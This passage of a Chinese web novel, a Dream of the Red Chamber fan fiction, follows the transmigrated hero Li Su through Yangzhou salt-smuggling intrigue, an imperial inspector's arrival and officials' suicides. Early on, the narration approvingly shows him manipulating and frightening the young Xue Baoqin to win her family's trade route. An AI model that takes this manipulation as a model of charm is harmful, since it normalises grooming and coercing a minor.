要拿到薛家的商路,而薛宝琴是必拿,更何况这么漂亮,原著描写中,她气质不是红楼最好的,但是五官精致漂亮程度,在第一梯队都是拔尖儿的。 这条商路在李素的眼里,要比薛宝钗他们家那条要重要的多。 一旦拿下并入自己老爹的麾下,比这帮没文化的盐贩子,白手起家做海贸要容易太多了。 所以薛蝌,必须要占一个小舅子名额。 李素拉着宝琴进了自己的小院儿。 薛宝琴现在还是懵的,小手被揉的有些疼,她想抽回去,但是李素刚才的威风把她吓住了,完全不敢动。 心里忐忑极了。 “宝琴妹妹,怎么你哥哥出门跑船还带着你这么个姑娘,这也太不像话了。” 薛宝琴赶紧回话:“不怪哥哥的,是我想出来瞧瞧,我娘以前就喜欢在外面跑,她常跟我说起外面的事情。” 此时和尚出了门儿,在一旁愣愣的,看着李素牵着个极美的小姑娘往屋里走。 李素瞧都没瞧他,就在和尚呆滞的目光中,直接带着宝琴进了正房。 随后把薛宝琴拉到了里间的床榻前。 低头在她耳边说道:“妹妹,睡一觉吧。” “啊?” 她闻言羞得面红耳赤,心中又恼怒,但又不敢说,那感觉好像突然掉入了一个黑暗的深渊里,心都快跳出来了。 薛宝琴可不是黛玉那个没出过家门的,脑子里不停的想:怎么能这样?怎么能? 正是六神无主的时候,李素把她拉着坐在了榻上,同时说道。 “你跟着哥哥劳累奔波,大概也没歇息好,我现在去带你哥哥办事儿,你就在我这里好好睡一觉,养养精神。” 温声细语,暖人心脾。 薛宝琴顿时为自己刚才对李素的误解而自责,恍惚间,浑然忘记了被李素摸手的事儿,也忘记了被男人带进床榻这种违礼的事儿。 心怀愧疚的她,臻首扭向一旁,支吾道:“多,多谢,大兄,我无碍的。” 李素看着她羞红了的脖颈,心下笑了笑。 伸出手就搭在了她的双肩上,接着探身在她耳边道:“听大兄的话。” 薛宝琴被这热热的气息喷在耳边,她再次心神飘忽起来。 而李素,随后用力向下一推,就把她推倒在了床榻上,随后探身去拉里面的铺盖。 而这在薛宝琴的眼里,却是李素的身子要压上来了,她的眼睛顿时就起了水雾,但在她委屈害怕的这一刻,李素又起身,远离了她,反而给她盖上了铺盖。 仔细的给她掖好,李素又柔声道:“大兄去办事儿了,你若是不想睡了,就起来,西侧是我的书房,你都可以瞧,就当这里是自己的家。” 如沐春风的细致关怀。 薛宝琴一个小姑娘哪扛得住这些,就好似变成了一个呆头鹅,眼睛有些红,有委屈,有愧疚,有羞涩……心里的五味瓶像是被搅拌了再搅拌。 完全被李素给搅得乱七八糟。 拿捏成泥! 薛宝琴侧躺在床上,蜷缩着,很无助。 李素心情愉快,回到外间,提笔拿纸写了几行字,装进信封后,拿起大黑剑就出了门。 回到正院,把信交给林忠后,带着内定的小舅子之一的薛蝌,就去了瓜洲渡口。 瓜洲渡口,已被无数大大小小的船只挤得满满当当,几乎没有丝毫空隙。 这些船只或大或小,形态各异,但无一例外都在焦急地等待着。远远看去,那密密麻麻的船只就像一片漂浮在江面上的森林。 李素看着这景象,不禁感叹一声:“造孽啊!” 薛蝌点头附和。 “咱家的船在哪儿?” 薛蝌一指:“最前面,那五艘!” 李素看去,只见那艘船只颇为巨大,估摸着每艘都有两千料,顿时心中大喜,自己的船真是漂亮! “我去找杨间,你去船上听信儿。” 言罢,他拎着剑就去了钞关。 杨间也不傻,像官船、漕粮船一类,他管都不管,但是对普通的商船完全拦下了下来。 对外宣称巡盐御史有令,不许过! 他现在满肚子气,半夜出兵,又抓人又扛包的,当兵的活儿苦力的活儿,啥都干了。林如海竟然说现在没银子。 而且告诉他已经上表了,说这是嘉奖银子,要等户部给。 但是杨间却清楚,以户部的臭德行,一个大钱都不可能给他,更何况这银子得先经过兵部,由户部拨付到兵部,再由兵部下发到他的江南大营。 想想都明白,即使银子户部出了,到了兵部也出不来。 所以,他恼了。 既然林如海现在稽查营完蛋,靠他的兵在干这个活儿,干脆 就谁都别过了,他也不走了。 什么时候林如海给银子,就什么时候好商量。 钞关的门被踹开了。 被林如海安排在关内的盐丁,见到李素进来,顿时一惊! 忙凑上来行礼:“李爷,您怎么来了。” 李素没理他,先看了看在椅子上闭目养神的杨间,嘿然一笑,对他说道:“去!就说江南大营在此收过路钱,拿钱买路,童叟无欺。” “多少银子?” “一条船,一个大钱!” “你敢?” 杨间顿时跳了起来,怒目瞪向了李素。 作为军队如果敢私自收税,他的脑袋也别要了,不用传到朝廷,两江总督就敢直接砍他的脑袋。 而且一个大钱,多恶心! “哈哈哈,杨大人也在啊,我不用去收,只要让人放个风儿出去,您觉得会怎么样?” 杨间走了过来,阴沉的看着李素道:“你这小瘪犊子,到底想要做什么?” “开关放船。” “那不可能!林大人答应我的银子还没给,白使唤老子,老子即使愿意,老子的兵也不愿意。” “杨大人,皇上让您协助林大人,您却向林大人要银子,皇上知道了会怎么想?飞鱼卫可还在扬州呢,林大人只要歪歪嘴,根本不用添油加醋,让飞鱼卫那么一上报,嘿。” 杨间一惊,伸手抓住李素的前襟,低声道:“你怎么知道皇上的旨意?” “松手!不然攮你啊!” 不知道什么时候,大黑剑已经扎住了杨间的腰眼儿。 杨间低头看,只见腰间护甲已经被扎了进去,他不由得松开了李素,面色阴晴不定的看着他,看着他那把剑。 “从你出兵的时候,我就知道了,不是皇上的人,你们这些军爷,哪个会捅盐商的屁股?” 杨间怒道:“但是,林如海答应了,你当时也在场。” “你不是缴获了不少盐和船只么?卖了啊。” 杨间嗤笑一声:“发卖缴获?我可不敢。再说我卖给谁?如果敢卖给盐商,皇上还不得扒了我的皮?” 李素一副看傻子的模样,继续说道。 “你可以卖给我啊,就相当于我用银子置换缴获,换了的缴获就不算缴获了么?还是缴获啊。” 杨间摇头:“不行。” “杨大人,我知道你担心什么,你找个商会给你的缴获评估,就说价值一万两,我给你一万两上缴。” “那……” 李素拦住他,继续说道:“另外,我再以扬州百姓助军的名义,给你捐赠缴获实际价码的一半。” 杨间瞬间愣住了,双眼放光:“嘶!这可以啊。” “但我要赊账。” “多久?” “三个月。” 杨间咬了咬牙:“成交!” 薛蝌上了船,就焦急的等待着。 不多时,只见钞关动了,拦江锁被缓缓吊了起来,关通了! 薛蝌见状大喜,心中暗呼这李素果然有能耐,他咬了咬牙,对左右大声道:“开船!” 随着船只开动,薛科就看见了钞关口,一名将军身侧站着的李素。 他举手作揖行礼,高声喊道:“大兄!就此别过!” 李素大声回道:“薛兄弟,一路顺风!” 码头骤然开闸,一时间千帆争渡。 二人谁也没提薛宝琴,竟好似忘记了她一样。 看着远去的薛蝌,李素心中冷哼,这是你不要的,千万别怪我! 而远去的薛蝌,站在船头,一时间也拿不准留下妹妹是对还是错,但父亲去后,人走茶凉。 梅翰林与自己家也断了往来,现在家里银子越多越危险,他要找个依靠了,而李素他打探过,不然怎么可能冒然进林府? 商人,盘道问路,再出手是本能,打探到李素的时候,他惊为天人,秀才、小神仙、单身拿匪、三天成为林盐院衣钵弟子。 任何一件拿出来,都不容易,但这些集中在他一个人身上,在他这个同龄人眼里就显得耀眼夺目了。 他今日没料想到会见到李素,本以为林如海会甩给他个名帖就打发了,但见到李素后,就有了一些想法。 随后被李素拿捏的又方又圆,他更是感到了李素的不凡,后来见李素对宝琴有意,又真能这么快解决江南大营,让他最终下定了决心,留下宝琴。 商人,最大的投资就是政治,这是他父亲教导他的。 第39章 朝野风云 黛玉打开林忠送来的信,看完后笑的十分灿烂。 “写的什么?” “我去给母亲领个丫头回来。” 黛玉把信塞回了自己袖子,随后站起身道。 “雪雁,随我出兵。” “得令。” 黛玉领着雪雁走了,贾敏笑着摇了摇头。随后想起了什么,面色一冷,吩咐道:“把秋菊关在柴房断食一日。” 左右丫鬟噤若寒蝉。 自这一日后,薛宝琴就被养在了林府的后宅,成了黛玉的又一只小兵。 李素对她也再没有逾越之举,种子种下就可以了,慢慢发芽。 小丫头那么小,除了一张精致的小脸蛋儿,也没有什么可让李素兽性大发的理由。 院里的柳树,拔了又种,种了又拔,系统也始终没动静。 月余时间。 扬州私盐闯关事件已经传遍了天下官场,尤其三百余口一夜尽殆,更令朝野哗然,雍和帝震怒,要求力查扬州盐案。 随之一道圣旨出了皇城,命正在河南治河的左都御史高玄举,钦命巡视江淮,清查盐案,四品以下官员可先斩后奏,江淮一应军政均受节制。 在前朝砸了御案的雍和帝回了后宫,露出了一丝久违的笑容,当夜还例外的喝了几盏酒。 看着躬身为自己整理铺盖的白皇后,桃形隆起,心中一时竟起了几分冲动。 白皇后伺候着皇帝倚在榻上,凑趣儿道:“皇上今日里遇到什么高兴事儿了?可否说给妾身听听?让妾身也高兴高兴。” 雍和帝笑着摇了摇头,喝了一口皇后递过来的茶,再次躺好,长吁了一口气。 “林如海收了个好弟子啊。” 白后还想再问,但听皇帝的呼吸声起,竟然就这么睡着了。 北静王府。 四王八公一众勋贵在座,气氛极为压抑。 黄家被一阵大骂后。 牛继宗一拳的砸在桌案上:“竟然毁在一个黄口小儿手中!” 北静王摇了摇头:“多说无益,谋事在人成事在天,咱们继续玩儿下去就是。” “对,王爷说的对。”贾赦附和。 北静王接着说道:“此事,我们拢共掏了五十万两,黄家把事儿办砸了,赔付了一百万回来,你们如若没有意见,咱们就把这银子分了,有意见再论。” 众人摇头,没意见,一进一出总算还赚了。 北静王见状暗自叹气,随后拿出了一个纸条:“既然没意见就按照上面算的分吧。” 众人传看过后,都认同,出一回二。 “王爷,我家的呢?” 北静王一愣:“贾恩侯,什么你家的?” 贾赦急道:“这分配,怎么没有我家的银子?” “你家也没出银子啊!”北静王搞不懂贾赦了。 贾赦摇头:“王爷,事儿不是这么论的,我家没出是因为我妹夫受罪,也就是说我妹夫受的罪顶了银子,并非我家没出,那既然出了现在就应该分润才对。” 贾珍都被贾赦的言论惊呆了,双手掩面。 “可是你妹夫没受罪啊!”柳芳拧眉,他看不下去了。 “不不,我妹夫没受罪那是因为黄家把事办砸了,买卖才亏了,但开始的时候,大伙儿投银子,我们府是拿妹夫受罪作为银子投进来的,故分润银子也是理所应当。” “赦大伯!”贾珍去拉贾赦。 “珍侄儿,你别拉我!” 但贾珍哪里听他的,生拉硬拽把他弄出了北静王府。 屋里再次沉默了下来,心中暗自嗤笑不已,荣国府算是完了。 李素未出江湖,名声已在朝堂。 在河南杀得人头滚滚的官场屠夫高玄举,即将来到扬州,这消息很快摆在了众盐商案头,他们又开始了新一轮的密会。 深秋已至,肃杀百草。 即使扬州这样的地界,天也开始变的凉了起来。 巡补营。 就是李素筹划的编外盐丁组成的兵营,日常招募加上掺进来的沙子,五百人已经满额。 李素正置身于一群身材魁梧、肌肉发达的汉子中间,他紧握着手中的武器,汗水如雨点般从额头滑落,浸湿了他的衣衫,但他的眼神却始终坚定而专注。 只见他动作敏捷地挥舞着手中的长枪,每一次刺出都带着呼呼风声,他的体力逐渐消耗殆尽,呼吸也变得愈发急促起来,但他仍然咬紧牙关,继续坚持。 巡补营的建成,本来按照李素的想法,就是偷偷摸摸发财,但是林如海还是单独写了一道奏折给皇帝。 林如海的给李素的说法是:事情看似合理,但自古君心难测。所以身在外,必要上奏事无巨细,则防君猜忌,勿以小事而失大局。 李素听完后,欣然受教。 盐院每月拨付定量饷银给巡补营,巡补营协助盐院进行缉私,缉私缴获巡补 营获得一成奖励来补饷银不足。 另外因为缉私的理由,巡补营开始承揽瓜洲渡口的装卸活计,硬生生的插进了漕帮的口袋。 为此漕帮已经跟巡补营谈了三次。 跟着巡补营训练完后,李素在营中冲洗了一下,看着自己已经显露的肌肉,大为满意,再也不是那个看着风吹似倒的病少年了。 帅! 李素看了看天色,已经到了下午黛玉的功课时间,于是跟巡补营管带飞狐交待了一句,就匆匆回了林府。 走在去往后院儿的路上,他心中想着师父的话,三日后钦差到扬州。 一场大戏,不知几颗人头落。 嗯? 这树? 李素有点儿发愣,看着眼前的柳树,长的有点儿奇怪,从根部就分了岔,好似并不牢靠,且树干并不粗壮,约莫两米多高,垂柳枝条还有残叶挂在上面。 他抓住树干摇了摇,不稳,但是黛玉肯定拔不动,虽说这一个月身子骨强健了许多,但距离拔这柳树还有距离。 突然李素身子一震,想起了一件事。 “怎么了?”李素闻声就知道是黛玉来了。 “玉儿你先回,今日自己练。” 留下一脸茫然的黛玉,李素就匆匆跑回了前院儿,来到书案前拿出纸笔就开始勾画起来,大约过了半个时辰,他拿起几张纸吹了,舒了一口气。 随后走出房门:“和尚,过来!” 和尚匆匆跑了出来,苦着脸道:“素哥儿,我正忙着呢,这从薛家借的银子花的可快差不多了,巡补营的营房装备不算,伙食也忒好了,杨营头儿又派人来问债了。” “欠债的是大爷,你先别忙算账了,去把这些东西给我做出来,明日一早就要,别怕花银子。” 和尚接过了李素递过来的纸,一时看不明白。 “这是啥?” “滑轮组。” 第40章 刚拔柳,又射雕! 第二日一早,黛玉的早课都没做。 李素就招呼人,在后院儿安装起了滑轮组。 一群人围在外面看热闹,林忠、黛玉、薛宝琴、雪雁、碧荷等丫鬟都来了,有的在近处看,远处好似还有身影在瞧。 后来林如海都被惊动了。 “妙言,你这是作甚?” 李素咧嘴笑:“师父,看到这棵柳树了么?一会儿让玉儿把它拔出来!” 林如海诧异的看了看前面的小树,又看了看娇弱的黛玉,先不说为何让黛玉拔柳,但这柳树别说一个玉儿了,八个玉儿也够呛。 “这真能做到?” 想起李素之前的作为,林如海反而期待了起来。 自己这个弟子,有时候会弄点儿谁也看不明白的事儿。但事后,却证明他总是有神来之笔,例如他把缴获来的盐,烧烧煮煮,竟然弄出了像雪一般又白又细的雪盐。 竟比内务府专供宫里的用的盐还要好。 “师父,莫急,见证奇迹的时候就要到了。” 李素先是指挥把吊装支架装好,随后开始挂轮,一个动滑轮可以省一半的力,两个动滑轮可以省四成三的力,三个动滑轮可以省八成七的力,依次类推,而李素挂了十个。 “对,下面这个挂好,绳子盘过来。” 李素指挥他们把最后一步装好,这一步很关键,绳子绕过下面这个轮儿,就能变成向上拉的姿势。 就成了倒拔! “和尚,抹油,每个缝儿都抹上!” 李无声一手拿刷子,一手端着半碗花生油就在滑轮与绳子之间刷了起来,不一会儿刷完了,李素又看了看,伸手扯绳子让油浸入滑轮与绳子中间,更重要的是滑轮与轮轴。 李素见差不多了,拉住绳头递给黛玉。 “玉儿,来,拔!” 黛玉一直拔柳,通过拔绳来做还是第一次,倒是比抱着柳树拔少了很多尴尬。 她忍住笑,接过了绳子不待李素再次开声,就开始往上拔! 动了! 随着她牵动绳子,滑轮开始转动,只是她拉的长滑轮那头的幅度小,于是继续! 很快被绑住柳树的一端绳子绷直,众人目不转睛的看着这一幕。 柳树动了! 随着黛玉的发力,柳树开始向上破土。 林如海看去,黛玉竟然没有感到吃力的迹象,他震惊了,这四两拨千斤啊! 终于,整棵树被拔出了地面,并吊在了空中。 哗! 现场轰然,奇迹真的发生了! 李素没管其他,赶紧看向了系统,随后愣住了,怎么能这样? 【深情系统】激活条件二:林黛玉倒拔垂杨柳已完成。 激活奖励已发放,宿主力量增一倍。 激活条件三:林黛玉弯弓射大雕。 尼玛! 总算还有个安慰,力量增一倍!李素用力攥了攥拳头,如果现在跟爹打,那么自己就该哭坟了。 接着他又想到,黛玉拔柳自己用滑轮解决了,那么黛玉射雕是不是可以用复合弓解决?或者弩箭? 自己倒是能做出来,那么就缺个雕了! “来人!把此物封存,不许外传,工匠全部扣押!” 林如海一声令下,打断了李素的思绪。 李素看去,只见自己师父满面潮红,身子都有点儿颤抖了,他赶紧跑过去扶住林如海。 “师父!” “父亲!”黛玉也从另一边扶住了林如海。 “跟我去书房。” 二人从命,扶着林如海往书房走,等到了书房后,李素会意把门关了起来。 林如海此时心情还未平复,拿起茶盏就要喝,被黛玉给抢了过去:“父亲的身子不能沾凉,我去去就来。” 随后她就开门出去了。 林如海看着黛玉出去,苦笑摇头:“唉,玉儿这早慧,对养身无益,你要看顾好她。” 李素明白,这么丝滑的借故出门儿真是让人赞叹,而且这么快就判断出这事儿并非她应该听的,或者明白父亲也不是要说与她听的。 他有种错觉,就是自己来了以后,黛玉的聪慧蹭蹭的往上涨。 “别的先不说,妙言,这次你立大功了,封爵在望!” “啊?师父,有这么重要?” 林如海重重点头:“非常重要,在平常时期也许无望,但现在不同,此物节省人力物力财力之大你自己应该清楚。” “师父,你是说治河?” “对!就是治河,朝廷做事最忌讳劳民伤财,此物节省民力,节省银钱,此其一。” “更重要的是让皇上松一口气,压力大缓之下,皇上对于你这个始作俑者的感激足以封爵了,何况前次查盐之事,在皇上那里已经有了一功。” “最后一点,钦差高大人要来了,他从治河的位上来的 ,几下里的作用,你不封爵都不可能。” “这是祥瑞,哈哈哈,为师这就上表为皇上贺!为天下贺!” 林如海突然低声道:“对了,还有一点,太上皇的乾陵,三十年未修好,就因大石难调,这事现在解决了,所以太上皇也会感谢你。” “师父,我这是要飞黄腾达了,哈哈。” 林如海见李素如此说话,笑了,这才算一个孩子样儿嘛。 “正好,我想跟皇上谈一笔买卖,这回有了由头了。” “买卖?” 林如海皱眉,他不想李素去琢磨那些商贾之事。 “师父,缴获的私盐我都烧成了雪盐,就等着卖了,但是也只有京城和宫里才能卖上高价,我如果派人冒失的去了,还不被人给吃的干干净净?” “嗯,杨间催你要银子了?” 李素点点头:“嗯,所以我想成立一个盐号,专做好盐,给皇上分三成利吧,就是跟皇上要个招牌,此事我安排薛家去做,自己不出面。” “你自己看着办。” 林如海对这些不感冒。 黄家。 黄成尧,一个多月的时间,看起来竟然像苍老了十岁一般。 这段时间林如海对他穷追猛打,尤其李素带巡补营,时不时的就以清查藏匿私盐为借口,到他家里查一圈儿,他被搞的心力憔瘁。 尤其知道高玄举即将到扬州后,更是一夜三惊,好几日都睡不着觉了。 今天更是有人汇报,他的废物庶子,四猴子,黄觉失踪了。 黄觉可是跟着老二的,很多的脏事都经过手,一旦落入高玄举之手,不堪设想! 更可怕的是,四猴子是自己跑的?还是被人抓了? 如果是自己跑的,那他是不是会直接把自己这个爹给卖了? 这时管家跑进来道:“老爷,吴老爷他们又来了。” 黄成尧听闻,心中的压力骤然又增! 第41章 亡命局 “黄成尧! “你他娘的屎没擦干净,招来了狼!” “盐,走不成,家里亏空已经二十多万两!” “谁不知道高玄举的狠辣,河南道官员的血把黄河都染红了!” …… 八大盐商,在高玄举到来的最后一天,又聚在了一起,众人纷纷向黄成尧继续施压。 满眼猩红的黄成尧看着这些面目狰狞的同行,忽然间感到这些人的嘴脸很是滑稽,他突然笑了。 “哈哈哈哈……哈哈…哈…” 众人看着突然大笑起来的黄成尧,顿时收了声,面面相觑,心里都在嘀咕着:莫不是要疯了? 身入风烛的黄成尧,扶着桌子身子抖个不停,笑的眼泪都流出来了,他抖动着手指着他们。 “你们……你…们…哈哈哈…你们到底要做什么啊?啊?要杀老夫的现在就可以动手了……哈哈…” 咣当! 众人愣愣的看着被黄成尧扔到地上的宝剑。 “就这把剑…你们来杀吧,哈……。” 黄成尧说完这话,又坐了回去,再无之前恐惧、焦急、暴躁的情绪完全不见了。 是的,他破罐子破摔了! 大不了一死,自己也该享受的也享受过了,都已经这把年纪,被这些同行压得要死不活不说,还被李素那个毛孩子每日里上门训得像个孙子,如此憋屈,还不如死了痛快! 更何况高玄举的到来,自己逃不过那一刀! 华府美宅没少住,美酒佳肴没少吃,扬州瘦马没少骑,良家美妇没少弄,大小人头没少杀,够本儿了! 他也看明白了,这些人不敢把他交出去,也不敢杀他。 所以他躺平了! 宋出云站了起来:“吴大哥,黄大哥,各位都是兄长,我说句公道话。” 众人看向了宋出云。 “黄家只不过代我们受过,所以黄老应该体面,我们都是一根儿绳上的蚂蚱,说正事儿,我还是上次那个话,活路不是等出来的,尾巴不能再犹豫了,宋某言尽于止,告辞!” 说完他就出门走了。 吴安良缓缓开声:“宋出云说的没错,宫里消息,这次别想糊弄了,没事就散了。” 众人不再开口,阴沉着面孔走了出去。 就剩下了黄成尧跟吴安良。 黄成尧忽然流泪了,看向吴安良:“吴大哥,我不甘心啊。” 吴安良摇了摇头:“唉,这是天意,你自缢吧,我安排人送你家老大和长孙出海去南洋,保你家子嗣不绝,祭祀不断。” “好!” “上次说的事儿,安排的怎么样了?” “吴大哥说的是林?” “此事几年前我就埋下了桩。” “办的好。“ 已经回到家中的盐商家主,纷纷分别收到了一封密信,打开来看,全部都是自己在官场上的钉子,名字后面标注了日期。 最后面附了一句话。 亡命局:日亡一官,逼走高玄举! 这一夜,黄家家主黄成尧自缢而亡。 第二日。 瓜洲渡口。 两江之地,所有六品以上的官员们纷纷汇聚于码头之上,神色凝重。在人群之中,两江总督赵凌川打头站立在渡口之处。 等待着即将到来的钦差行辕。 李素随林如海在人群中,不时的观望这些官员的表情,大部分像死了爹一样,但也有少数面露喜色。 嗯?刘清风没来。扬州巡抚刘清风,李素为了承包扬州府的巡街外包买卖,跟他打过几次交道,虽然没有谈下来,但是对这个阴阳怪气的山羊胡子印象很深。 “钦差来啦!” 远处兵勇边往码头这边跑,边大喊提醒老爷们准备。 紧接着就见到三艘高大的福船出现在了运河上。 “鼓乐起!” 等待多时的鼓乐开始响了起来,伴随着飘扬的旌旗,一时间庄重了起来,满是肃穆庄重。 这是钦差的体面,更是朝廷的体面,皇帝的体面。 李素看着这场面,心潮澎湃,大丈夫当如是啊。 很快,大船靠岸,一个矍铄的老者率先下了船,只见他体型消瘦,眼睛不大而目光凌厉,身侧跟着一个弓腰塌背的无须人举着一个黄帛卷轴。 “钦命!” 随着太监一声尖利声,众官员跪下。 奉天承运皇帝制曰: 圣仁广运,江淮之地,荣华宝光,国之重重。豪杰名仕发于淮,俊秀显达出于江,然竟三百余口一夜尽殆,百万余盐流尽江河,以致江淮罹难之声闻于天,天罪之下,着左都御史高公玄举代帝巡视,巡视江淮,清查弊案,四品以下先斩后奏,江淮一应军政均受其节。 钦哉! 圣旨念完,山呼万岁! 高玄举此时开声:“林御史何在 ?” “下官在!”李素扶着林如海站了起来。 高玄举看向林如海点头,面无多余表情,接着道:“扬州巡抚刘清风何在?” 现场一时鸦雀无声。 高玄举皱眉,直接对林如海说道:“林大人,陪本官走一趟巡抚衙门如何?” “遵命!” 随后,高玄举就带行辕直奔了扬州巡抚衙门,至于跪地的大小官员理都没理。 两江总督赵凌川,看着远去的高玄举,气的面色发白,冷哼一声,也不理现场的官员,直接就回了金陵。 留下了一地官员面面相觑。 只有扬州府的同知、通判带着一众小官疯狂的朝着巡抚衙门奔,钦差直接去他们衙门了,要出事。 李素骑马跟在林如海的轿子边上,不禁呵呵笑了起来。 这时高玄举从马车中探出头,看向李素喊道:“那少年!可敢上老夫的车驾?” “敢不从大人命?” 李素说完一拨马,跟上了车驾,只见他随后手一撑马背,就飞身而起跳上了车,随手把缰绳系到了车栏上,就钻进了车里。 “小神仙,好身手!”高玄举赞了一声。 李素拱拱手笑着问道:“钦差大人也知我?” “那你猜猜我从何而知?” 李素向北拱手:“天子!” “那你再猜,天子为何知你?” “扬州诸事,大半自我而起,我师父虽位低,但权重,而我在师父之侧,天子自然会关注。” 高玄举赞赏点头:“果然聪慧,扬州之事可以说自你而起,说说你的看法?” 李素一摊手:“这有何好说的,八大盐商就是直接推手,刘清风帮着灭口,但没有证据。” “你的看法,刘清风会不会招?” 李素摇头:“素不知,要看大人您的手段!” 第42章 攻守易形 正说着,车驾停了下来。 李素扶着高玄举正准备下车,只听得外面有人喊:“不好啦!巡抚大人自缢啦!” 李素瞳孔一缩,看向了高玄举。 只听高玄举随即对外大喝:“拿下!” 钦差行辕官兵迅速跑过去把人摁倒在地,随后就押到了高玄举的车驾之前! “唔唔,我是巡抚衙门……” 随后就被两个嘴巴打的满口是血,随即噤了声。 李素和高玄举下了车。 李素此时见林如海也下了轿,不再理会高玄举,跑过去搀着林如海。 林如海笑着摇了摇头。 高玄举看了他一眼,随即不再理他:“刘清风在哪里?” “大人,在在……在,大堂。” 高玄举率先就往巡抚衙门走,随后众人紧紧跟了上去,走进衙门大堂,只见【方端度矩】匾额前方,刘清风悬挂而上,双目突出,舌头外露。 已经死透了! 高玄举走向地面,捡起了一张纸,拿起观看,只见上面写着:酷吏高玄举肆意妄为,威逼弄假,邀名媚上,吾不得活矣。 高玄举面色铁青,冷声道:“来者不善呐!” 李素破口而出:“大人,你才是来者!” 高玄举瞪了他一眼,随后把纸递给了林如海。 李素凑着观看,心说这太狠了,正四品就这么没了,但高玄举的麻烦也来了。 刘清风的死亡,一时间扬州风声鹤唳,而这消息随着江淮官员迎接钦差,迅速的传遍了江南官场。 刘清风的遗言,也传了出去,一时间江南官场同呼,高玄举滚回河南。 如果河南官员听到这话,估计要跟江南官员大战一场。 巡捕营。 李素挥汗如雨正在适应自己的力量,自那日高玄举到来,跟着林如海接待了一次,跟着见证了刘清风的尸体后,再没有他的事儿。 于是又按部就班生活,早晨带黛玉、雪雁和新加入的宝琴做早课。 上午读书,按照林如海布置的题文书写策论,下午是黛玉的午课,完事以后就到巡捕营练兵练己,主要是恢复性训练跟子午剑法。 雨村先生身子一直不大好,他的课黛玉十天里最多有三天,李素已经有多日没有见他了。 现在李素已经恢复了正常的成人力量,拳力大约在一百五十斤,学会发力后能达到二百斤,李素被系统加持了一倍,此时最高拳力已经达到了四百斤。 而这只是李素刚把身体素质恢复到正常人水平,还远远不到前世的程度,所以他的力量还在增加,这具身体能练到什么程度还真不好说。 “素哥儿!”和尚来了,远远的喊道。 李素吐气大喝,最后挥出一拳,打在了木桩上,只见木桩瞬间崩碎开裂,木屑纷飞。 “何事?”李素喘着粗气问来到近前的和尚。 和尚蹲身捡起地上的木屑捻了捻:“啧啧,素哥儿,你这也太吓人了,还当什么秀才啊,咱就直接领兵当将军得了。” “说正事儿。” 和尚拍了拍手,站起身:“呃,大人让你回去一趟。” “去哪儿?” “府里,高大人来了。” 李素听罢,就知道是滑轮组的事儿,拎起袍子就往身上裹:“哈哈哈,走,老子要发达了!以后你要叫我素爷了。” 高玄举陷入了困局。 原本他威逼江南之势,自黄成尧、刘清风接连自缢而亡,接下来的时间里两淮盐运使自缢邱齐在自己家中、扬州府同知苏明和自缢在巡抚衙门…… 他来到扬州五天,死了五名官员,这当真是杀人诛心! 顿时攻守易形,高玄举被逼到了悬崖边上。 整个江南形势就像似绷紧了的弓弦,随时都有可能崩断,就看谁先撑不住! 而且因为黄成尧和刘清风、邱齐的死,让现在查盐案变成了查命案,高玄举也是一筹莫展,高举宝剑不知道怎么砍下去! 所以滑轮组献给皇帝的事儿,林如海也没有机会跟焦头烂额的高玄举提,所以一直搁着。 谁知今日高玄举竟然登门,本是前来邀林如海商议同去盐场勘察,但却先被林如海邀到了后院儿,于是见到这逆天神器。 李素来到后院儿的时候,高玄举正在指挥人挪动组架,组架之后四五棵大小不一的树木被拔出了地面,留下一个个土坑。 这是玩儿上瘾了? 再次绑好一棵树,只见挽着裤腿,撸着袖子的高玄举就像一个老农,双手使力猛的向后一拔。 他对这棵树对土地的抓力估计过高,这一下劲儿就使大了,身子往后就倒。 “大人,您这是憋了多大劲儿?” 被托住的高玄举扭身一看是李素,直起身就大笑:“好小子!你真是积了大德了。”说着使劲儿拍了拍李素的肩膀。 接着他 转身向林如海道:“如海,你真是收的好弟子,当浮一大白,今日老夫就吃你家一顿好的。” 林如海笑道:“小儿莽撞,还需高大人提携,大人先与我书房叙话,宴席随后就好。” “好,好,今日我这个穷酸,就尝尝你这列侯簪缨之家的好茶。” 林如海淡笑:“大人请!” 书房落座,高玄举叹了口气:“李素,老夫要谢你,你这个器物让老夫压力顿解,跟这个相比,那盐案,四几个官真算不得什么了,不止帮了老夫的大忙,更是帮了皇上的大忙。” “老夫威逼江南官员必将掀起风波,朝野务议,必然也会把皇上逼上两难的境地,这祥瑞一献,恤民节财之功,利在千秋!” 林如海替李素谦虚了一句:“大人过誉了。” “不,你们有所不知,今年老夫在河南,刚出生的孩子就生生的饿死了,你们知道什么模样么?就像你们一小撮儿……” 高玄举哽咽了一下,继续说道:“易子相食是真煮啊,一口大锅摆在路边,给租锅的一口肉吃,就可以使用,竟然排着队!” 接着他大怒道:“而河南道的官员还往粮食里掺沙子!老夫势必要杀尽这些狗东西!” “大人,如果朝廷给的粮食不足,掺沙子就是对的!” 李素插了一句。 高玄举叹了口气:“我知道你想说什么,但是他们……其实是往沙子里掺粮。”接着他又讥讽了一句:“但老夫没想到,江南竟然会如此复杂,河南官员跟这里一比,就好像莽夫。” 李素觉得这老头还挺有意思,打趣道:“您也莽过去不就行了?这些盐商挨个拉出来放血,保您没有一个冤枉的。” 高玄举闻言,眼睛一瞪:“为君辅国,老夫怎能知法犯法,以后如何服众?” “那,我给你证据,你能给我什么?” 高玄举忽的站起身,连凳子倒地都不自觉,瞪大了眼睛死盯着李素。 “老夫还有一个外孙女!” 第43章 大发横财 无人知道。 一艘船,刚出松江口就沉了。 而船上载的黄家老大及其儿子永远的消失了。 宋家。 宋出云扶着满头银发的宋堪坐下:“爹,现在这局势就像在火上烤,一个不慎就把两边都烧死了。” “嘿,烧死?不会!” “为何?现在的官已成惊弓之鸟,他们如何猜不到因由,万一下面就是自己要死,有几个能扛着住这种压力的?这种情形下,投诚高玄举之事未必不会发生。” 宋堪摇了摇头:“投诚又能怎样?他们手里不会有跟咱们勾结的证据,咱们勾搭的那些个王八蛋有证据么?没有!高玄举此人是讲原则的官儿,有证据,他可以坎你十八代,没证据他不会落刀。” “君子可以欺之以方?” “嗯,这次风波后,我想见见李素,你安排一下。” “爹,咱们这样能成么?太上皇还在呢?” 宋堪瞪了他一眼:“你以为太上皇拿咱们当根葱了?但是皇上现在的处境,会把咱们当盘菜。” 不等宋出云再说话,他接着又补了一句:“更何况,皇上才是将来啊。” “懂了,爹!” 林府。 “你要保宋家?” 李素点头:“宋家现如今已经把手从盐业上收了回去,换句话说他们早就想转换门庭了,为此他们愿献银五百万两。” “多少?” 高玄举被惊的嗓音儿都破了。 “五百万两!” 